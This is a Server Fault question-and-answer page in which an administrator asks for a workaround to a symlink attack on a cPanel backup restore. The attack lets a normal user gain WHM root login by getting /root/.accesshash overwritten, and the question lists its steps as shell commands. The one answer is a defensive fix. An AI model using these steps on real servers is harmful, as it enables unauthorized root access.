Sign up ×
Server Fault is a question and answer site for system and network administrators. It's 100% free, no registration required.

I am working on a cPanel backup solution at the moment. We are now informed about this exploit.

Exploit : Full ROOT ACCESS to server

1.) create malicious file from, normal user account:

mkdir root
echo "hello" > root/.accesshash

2.) Wait for backup to run

3.) Replace root with a symlink:

ln -s /root root

4.) Restore root/.accesshash ( I am running this command as root for this: "cp -rf /backup/.accesshash /home/username/root/")

5.) User now have root access because We overwrote /root/.accesshash. An attacker will be able to login to WHM as root by placing a access hash into this file.

root@cpanel [/home/master]# cat /root/.accesshash
root@cpanel [/home/master]# ls -l /root/.accesshash
-rw-r--r-- 1 master master 3 Nov 20 21:41 /root/.accesshash
root@cpanel [/home/master]#

Can somebody advise me on this for a workaround? Thanks in advance.

share|improve this question

1 Answer 1

I'd make sure the backupfiles are accessible by the user they belong to and start the copy/rsync with the UID of this user. This way, cp/rsync won't be able to follow the symlink and write into /root.

share|improve this answer

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.